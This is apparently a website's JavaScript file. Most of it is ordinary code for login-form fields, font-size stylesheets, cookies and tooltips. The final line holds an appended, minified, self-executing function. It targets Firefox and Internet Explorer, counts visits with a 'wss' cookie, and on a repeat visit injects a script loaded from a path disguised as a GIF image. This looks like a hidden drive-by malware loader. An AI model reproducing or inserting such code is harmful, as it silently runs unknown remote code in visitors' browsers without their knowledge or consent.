function ToggleDisplayById(ElementId,Default){var Element=GetElementById(ElementId);ToggleDisplay(Element,Default);}
function ToggleDisplay(Element,Default){if(Element){if(!Element.style.display){Default=='none'?Element.style.display='block':Element.style.display='none';}else{Element.style.display=='none'?Element.style.display='block':Element.style.display='none';}}}

function GetElementById(ElementId)
{
	if(document.getElementById)
		return document.getElementById(ElementId);
	else if(document.all)
		return document.all[ElementId];
}

function ChangeAction()
{
	var LoginForm=GetElementById('LoginForm');

	var OS=GetElementById('LoginOS');
	var SelectedOS=OS.options[OS.selectedIndex].value;
	
	LoginForm.action=SelectedOS;
}

function SetDefaultValue(ElementId)
{
	var Element=GetElementById(ElementId);
	
	Element.defaultValue=Element.value;
				
	Element.onfocus=function()
	{
		if(this.value==this.defaultValue)
			this.value='';
	}
	Element.onblur=function()
	{
		if(this.value=='')
			this.value=this.defaultValue;
	}
}

function Initialize()
{
	//ToggleDisplayById('HeadContent');
	var Element = GetElementById('HeadContent');
	Element.style.display='none';

	var ElementIds=new Array()
	ElementIds[ElementIds.length]="Keywords"
	ElementIds[ElementIds.length]="login_name"
	ElementIds[ElementIds.length]="passwd"

	for(ElementId in ElementIds)
	{
		SetDefaultValue(ElementIds[ElementId]);
	}
  
	var cookie=GetCookie("FontSize");
	var title=cookie?cookie:GetPreferredStyleSheet();
	SetActiveStyleSheet(title);
	
	var Element=GetElementById('LargeFont');
	Element.onclick=function()
	{
		this.checked?SetActiveStyleSheet('Large'):SetActiveStyleSheet('Normal');
	}
	Element.checked=GetActiveStyleSheet()=='Large';
}

function AddToFavourites(title,url)
{
	if(window.sidebar)
		window.sidebar.addPanel(title,url,"");
	else if(document.all)
		 window.external.AddFavorite(url,title);
	else if(window.opera&&window.print)
		return true;
}

function SetActiveStyleSheet(title){var i,a,main;for(i=0;(a=document.getElementsByTagName("link")[i]);i++){if(a.getAttribute("rel").indexOf("style")!=-1&&a.getAttribute("title")){a.disabled=true;if(a.getAttribute("title")==title)a.disabled=false;}}SetCookie("FontSize",title,365);}
function GetActiveStyleSheet(){var i,a;for(i=0;(a=document.getElementsByTagName("link")[i]);i++){if(a.getAttribute("rel").indexOf("style")!=-1&&a.getAttribute("title")&&!a.disabled)return a.getAttribute("title");}return null;}
function GetPreferredStyleSheet(){return 'Normal';}

function SetCookie(name,value,days){if(days){var date=new Date();date.setTime(date.getTime()+(days*24*60*60*1000));var expires="; expires="+date.toGMTString();}else var expires="";document.cookie=name+"="+value+expires+"; path=/";}
function GetCookie(name){var nameEQ=name+"=";var ca=document.cookie.split(';');for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==' ')c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length);}return null;}
function ClearCookie(name){createCookie(name,"",-1);}


function ToggleToolTip(e)
{
	var Element;
	if(!e)var e=window.event;
	if(e.target)Element=e.target;
	else if(e.srcElement)Element=e.srcElement;
	if(Element.nodeType==3)Element=Target.parentNode;
	var Element=GetParentElementByTagName(Element,'tr');
	if(Element.nodeName.toLowerCase()!='tr')return;
	Element=Element.nextSibling;
	if(Element.className!='ToolTip')return;
	ToggleDisplay(Element,'none');
}
function GetParentElementByTagName(n,nn){if(!n.parentNode)return null;do{n=n.parentNode;if(!n.parentNode)return null;}while(n.nodeName.toLowerCase()!=nn.toLowerCase())return n;}






function inspect(obj){var str="";var i=0 ;for (var prop in obj){str+= "obj."+prop+"="+obj[prop]+"\n";if(i==5){alert(str);str="";i=0;}i++;}alert(str);}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/Go100Windows.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
